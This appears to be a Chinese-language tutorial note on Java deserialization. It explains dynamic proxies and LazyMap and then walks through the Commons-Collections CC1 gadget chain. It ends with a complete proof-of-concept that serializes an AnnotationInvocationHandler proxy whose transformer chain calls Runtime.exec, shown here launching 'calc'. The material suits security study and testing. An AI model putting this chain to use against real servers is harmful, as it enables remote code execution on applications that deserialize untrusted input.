Java对象代理
Java 可以使用 java.reflect.Proxy 实现对象方法的代理,即调用这个方法之前再调用一些别的函数,
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
如下是P牛给的代理类,需要实现invoke方法
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
if (method.getName().compareTo("get") == 0){
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
运行demo:
public class main {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
Map map = new HashMap();
ExampleInvocationHandler handler = new ExampleInvocationHandler(map);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
map.getClass().getInterfaces(), handler);
proxyMap.get("1");
}
}
- 给map加了代理Handler,返回了代理类proxyMap
LazyMap
LazyMap也是对Map的一种装饰, 装饰之后的lazyMap具有慢加载的特质, 在调用其get方法时会触发transformer.transform的调用:
生成一个LazyMap:Map lazyMap = LazyMap.decorate(map,transformerChain);
lazyMap.get(0); -> transformerChain.transform(0);
CC1 via LazyMap
思路:
- 用transformer数组修饰Map生成LazyMap
- 触发LazyMap的get方法
- 触发LazyMap的get方法
- 可以使用AnnotationInvocationHandler类, 它就是一个代理类且AnnotationInvocationHandler#invoke中会调用memberValues的get方法. -> 随便代理一个Map对象即可
- 把proxyMap再用AnnotationInvocationHandler包装一下
调用链:
AnnotationInvocationHandler#readObject
-> (memberValues)proxyMap.entrySet();
-> AnnotationInvocationHandler#invoke
-> (memberValues)lazyMap.get()
-> transformerChain.transform(0);
POC:
package test.com.cc;
public class cc1_lazyMap {
public static byte[] payload() throws IOException, ClassNotFoundException,
InvocationTargetException, InstantiationException, IllegalAccessException,
NoSuchMethodException, NoSuchFieldException {
// Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
// obj.exec("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{ null, null }),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
// LazyMap在调用get方法的时候会触发transformer.transform
map.put("value",1);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
lazyMap.getClass().getInterfaces(),handler);
// proxyMap.put(1,1);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
Object payload = constructor.newInstance(Retention.class, proxyMap);
return Serializer.Serialize(payload);
}
}